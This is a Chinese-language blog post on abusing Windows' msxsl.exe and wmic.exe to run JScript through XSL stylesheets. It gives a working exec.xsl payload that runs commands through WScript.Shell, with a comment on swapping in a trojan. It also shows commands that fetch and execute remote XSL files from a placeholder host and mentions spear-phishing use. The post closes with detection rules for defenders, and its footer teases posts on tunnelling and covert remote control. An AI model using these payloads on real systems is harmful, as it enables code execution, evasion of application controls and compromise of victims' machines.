XSL Script Processing


XSL是指扩展样式表语言(Extension Stylesheet Language)

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=21714

执行该工具需要用到2个文件,分别为XMLXSL文件,msxsl命令行接受参数形式如下:

msxsl.exe {xmlfile} {xslfile}

# 调用文件内的命令
msxsl.exe {xslfile} {xslfile}

命令执行

技术复现(MSXSL.EXE)

本地执行

test.xml

<?xml version="1.0"?>

<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>

<customers>

<customer>

<name>Microsoft</name>

</customer>

</customers>

exec.xsl

<?xml version="1.0"?>

<xsl:stylesheet version="1.0"

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:msxsl="urn:schemas-microsoft-com:xslt"

xmlns:user="http://mycompany.com/mynamespace">



<msxsl:script language="JScript" implements-prefix="user">

   function xml(nodelist) {

var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");

    //这里可以改造为执行你的木马文件如:

    // var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & shell.exe");

   return nodelist.nextNode().xml;



   }

</msxsl:script>

<xsl:template match="/">

   <xsl:value-of select="user:xml(.)"/>

</xsl:template>

</xsl:stylesheet>

执行

msxsl.exe test.xml exec.xsl
远程执行
msxsl.exe https://raw.githubusercontent.com/xx/master/test.xml  https://raw.githubusercontent.com/xx/master/exec.xsl


技术复现(WMIC.EXE)

wmic可通过如下方式执行xsl内的恶意代码

wmic.exe {wmic_cmd} /FORMAT:{xsl_file}
本地执行
wmic.exe process get name /format:exec.xsl
远程执行
wmic.exe process get name /format:http:/www.xxx.com/exec.xsl

https://www.cnblogs.com/backlion/p/10489916.html

威胁检测

数据源: 进程监视、进程命令行参数、网络的进程使用、DLL监视

msxsl.exe

进程特征:

# 当msxsl.exe作为父进程创建其他进程时视为可疑
ParentImage regex '^.*msxsl\.exe$'

加载项特征:

#当msxsl.exe加载jscript.dll时视为可疑
Image regex '^.*msxsl\.exe$' AND ImageLoaded contains 'jscript.dll'

wmic.exe

加载项特征

#当wmic.exe加载jscript.dll时视为可疑
Image regex '^.*wmic\.exe$' AND ImageLoaded contains 'jscript.dll'

通过MSXSL方式进行鱼叉式网络钓鱼

有年头的参考文章:https://www.anquanke.com/post/id/159316


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
frp frp
下载地址:https://github.com/fatedier/frp.git 跨平台,根据自己情况选择使用 配置文件服务端 客户端 部署服务端连接到vps上,后台启动服务端 nohup ./frps -c frps.int &
2020-09-10
下一篇 
使用anydesk做远控 使用anydesk做远控
anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小 场景举例 有云锁,护卫神等禁止3389登录时 类似阿里云这种,登录3389会报警 连接内网中可以出网的windows机器 注意事项 启动anydesk的权
2020-09-10
  目录